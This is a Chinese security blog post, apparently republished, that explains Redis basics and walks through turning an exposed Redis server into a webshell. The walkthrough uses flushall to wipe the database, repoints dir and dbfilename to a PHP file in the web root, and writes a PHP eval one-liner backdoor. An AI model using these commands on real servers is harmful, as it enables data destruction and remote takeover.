Learn Redis & Getshell via Redis

admin 2022年5月17日03:43:50安全博客评论13 views1064字阅读3分32秒阅读模式

Learn Redis & Getshell via Redis

2016-07-16


前言

redis是一个NoSQL数据库,也就是非关系型数据库(MySQL是关系型数据库),是一个基于内存,的key-value型数据库,当然他也可以保存到硬盘达到持久型。

因为看各位师傅都在发关于redis相关的东西,企业中用的也不少,所以简单研究一下redis的用法以及用它来getshell。

安装redis

在Ubuntu下安装redis

sudo apt-get install redis-server

在mac下安装redis

brew install redis

redis基础

要研究redis来getshell,首先得明显redis的基础运行流程。

可以来看这篇文章:http://www.runoob.com/redis/redis-tutorial.html

我花了两天时间把这篇文章看完了,其中也大概明白了如何利用redis来getshell。

利用redis来getshell

getshell的原理是通过配置数据库文件目录和地址,然后写入数据库一句话,最终getshell。

这篇文章里面,详细讲解了redis的配置。

可以看到其中有dbfilename,可以用来指定本地数据库文件名,默认是dump.rdb

dir配置可以指定本地数据库存放目录,把这两点结合起来,我们再往数据库中写入脚本木马,即可达到getshell的效果。

首先我们使用redis-cli连接redis:

redis-cli -h 192.168.0.16 -p 6379

随后为了让我们写入的数据可以在数据库文件靠前一点,可以先执行flushall

flushall会清空数据库的所有内容……,各位客官慎用。

不过好在之前看到jaychou师傅发了一个善待Redis,远离flushall,大家可以学习学习,我这个大家当做科普就好。

flushall以后,我们来设置数据库目录:

CONFIG SET dir /var/www/html/

然后设置文件名:

CONFIG SET dbfilename 2.php

随后将脚本密码写入数据库:

set webshell "<?php @eval($_POST['k']) ?>"

最终执行save保存到数据库文件:

save

然后看web目录下,shell已然躺在里面:

1487498920

最后总得说点什么

redis getshell不算什么新技术,然而我现在才开始研究,感觉自己真是菜鸡,希望师傅们多带带我。

FROM : hackersb | Author:王松

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日03:43:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Learn Redis & Getshell via Redis http://cn-sec.com/archives/1012833.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: